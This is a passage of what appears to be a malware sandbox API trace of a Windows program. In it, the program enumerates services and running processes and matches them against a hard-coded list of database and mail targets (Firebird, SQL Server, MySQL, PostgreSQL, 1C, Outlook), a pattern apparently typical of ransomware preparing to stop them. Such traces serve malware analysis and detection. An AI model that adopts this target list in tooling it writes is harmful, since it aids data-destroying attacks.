returned 1 [0240.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0240.374] lstrlenW (lpString="CscService") returned 10 [0240.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0240.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0240.374] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0240.374] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0240.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0240.374] lstrlenW (lpString="DcomLaunch") returned 10 [0240.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0240.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0240.374] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0240.374] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0240.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0240.374] lstrlenW (lpString="Dhcp") returned 4 [0240.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0240.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0240.374] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0240.374] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0240.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0240.374] lstrlenW (lpString="Dnscache") returned 8 [0240.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0240.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0240.375] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0240.375] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0240.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0240.375] lstrlenW (lpString="DPS") returned 3 [0240.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0240.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0240.375] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0240.375] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0240.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0240.375] lstrlenW (lpString="eventlog") returned 8 [0240.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0240.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0240.375] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0240.375] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0240.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0240.375] lstrlenW (lpString="EventSystem") returned 11 [0240.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0240.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0240.375] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0240.375] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0240.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0240.375] lstrlenW (lpString="gpsvc") returned 5 [0240.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0240.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0240.375] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0240.375] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0240.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0240.375] lstrlenW (lpString="LanmanWorkstation") returned 17 [0240.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0240.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0240.375] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0240.375] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0240.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0240.376] lstrlenW (lpString="lmhosts") returned 7 [0240.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0240.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0240.376] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0240.376] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0240.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0240.376] lstrlenW (lpString="MMCSS") returned 5 [0240.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0240.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0240.376] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0240.376] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0240.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0240.376] lstrlenW (lpString="MpsSvc") returned 6 [0240.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0240.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0240.376] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0240.376] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0240.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0240.376] lstrlenW (lpString="NlaSvc") returned 6 [0240.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0240.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0240.376] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0240.376] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0240.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0240.376] lstrlenW (lpString="nsi") returned 3 [0240.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0240.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0240.376] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0240.376] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0240.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0240.376] lstrlenW (lpString="PcaSvc") returned 6 [0240.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0240.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0240.376] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0240.376] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0240.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0240.377] lstrlenW (lpString="PlugPlay") returned 8 [0240.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0240.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0240.377] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0240.377] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0240.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0240.377] lstrlenW (lpString="Power") returned 5 [0240.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0240.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0240.377] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0240.377] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0240.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0240.377] lstrlenW (lpString="ProfSvc") returned 7 [0240.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0240.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0240.377] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0240.377] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0240.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0240.377] lstrlenW (lpString="RpcEptMapper") returned 12 [0240.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0240.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0240.377] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0240.377] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0240.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0240.377] lstrlenW (lpString="RpcSs") returned 5 [0240.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0240.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0240.377] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0240.377] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0240.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0240.377] lstrlenW (lpString="SamSs") returned 5 [0240.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0240.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0240.377] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0240.377] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0240.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0240.378] lstrlenW (lpString="Schedule") returned 8 [0240.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0240.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0240.378] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0240.378] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0240.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0240.378] lstrlenW (lpString="SENS") returned 4 [0240.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0240.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0240.378] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0240.378] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0240.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0240.378] lstrlenW (lpString="ShellHWDetection") returned 16 [0240.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0240.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0240.378] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0240.378] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0240.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0240.378] lstrlenW (lpString="Spooler") returned 7 [0240.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0240.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0240.378] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0240.378] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0240.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0240.378] lstrlenW (lpString="Themes") returned 6 [0240.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0240.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0240.378] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0240.378] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0240.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0240.378] lstrlenW (lpString="UxSms") returned 5 [0240.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0240.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0240.378] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0240.378] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0240.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0240.378] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x42e73a0 | out: hHeap=0x530000) returned 1 [0240.379] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204 [0240.380] Process32FirstW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0240.381] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0240.381] lstrlenW (lpString="System") returned 6 [0240.381] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0240.381] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0240.381] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0240.381] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0240.381] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0240.381] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0240.381] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0240.381] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0240.381] lstrlenW (lpString="smss.exe") returned 8 [0240.382] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0240.382] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0240.382] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0240.382] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0240.382] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0240.382] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0240.382] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0240.382] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0240.382] lstrlenW (lpString="csrss.exe") returned 9 [0240.382] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0240.382] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0240.382] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0240.382] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0240.382] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0240.382] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0240.382] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0240.382] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0240.383] lstrlenW (lpString="wininit.exe") returned 11 [0240.383] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0240.383] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0240.383] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0240.383] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0240.383] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0240.383] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0240.383] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0240.383] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0240.383] lstrlenW (lpString="csrss.exe") returned 9 [0240.383] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0240.383] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0240.384] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0240.384] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0240.384] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0240.384] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0240.384] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0240.384] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0240.384] lstrlenW (lpString="winlogon.exe") returned 12 [0240.384] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0240.384] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0240.384] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0240.384] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0240.384] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0240.384] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0240.384] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0240.384] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0240.384] lstrlenW (lpString="services.exe") returned 12 [0240.385] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0240.385] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0240.385] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0240.385] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0240.385] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0240.385] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0240.385] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0240.385] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0240.385] lstrlenW (lpString="lsass.exe") returned 9 [0240.385] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0240.385] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0240.385] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0240.385] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0240.385] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0240.385] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0240.385] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0240.385] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0240.386] lstrlenW (lpString="lsm.exe") returned 7 [0240.386] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0240.386] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0240.386] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0240.386] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0240.386] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0240.386] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0240.386] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0240.386] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.386] lstrlenW (lpString="svchost.exe") returned 11 [0240.386] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0240.386] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0240.386] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0240.386] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0240.386] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0240.386] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0240.386] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0240.386] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.387] lstrlenW (lpString="svchost.exe") returned 11 [0240.387] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0240.387] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0240.387] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0240.387] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0240.387] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0240.387] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0240.387] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0240.387] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.387] lstrlenW (lpString="svchost.exe") returned 11 [0240.387] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0240.387] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0240.387] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0240.387] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0240.387] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0240.387] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0240.387] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0240.387] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0240.388] lstrlenW (lpString="LogonUI.exe") returned 11 [0240.388] lstrcmpiW (lpString1="1c8.exe", lpString2="LogonUI.exe") returned -1 [0240.388] lstrcmpiW (lpString1="1cv77.exe", lpString2="LogonUI.exe") returned -1 [0240.388] lstrcmpiW (lpString1="outlook.exe", lpString2="LogonUI.exe") returned 1 [0240.388] lstrcmpiW (lpString1="postgres.exe", lpString2="LogonUI.exe") returned 1 [0240.388] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="LogonUI.exe") returned 1 [0240.388] lstrcmpiW (lpString1="mysqld.exe", lpString2="LogonUI.exe") returned 1 [0240.388] lstrcmpiW (lpString1="sqlservr.exe", lpString2="LogonUI.exe") returned 1 [0240.388] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.388] lstrlenW (lpString="svchost.exe") returned 11 [0240.388] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0240.388] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0240.388] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0240.388] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.389] lstrlenW (lpString="svchost.exe") returned 11 [0240.389] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0240.389] lstrlenW (lpString="audiodg.exe") returned 11 [0240.389] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: 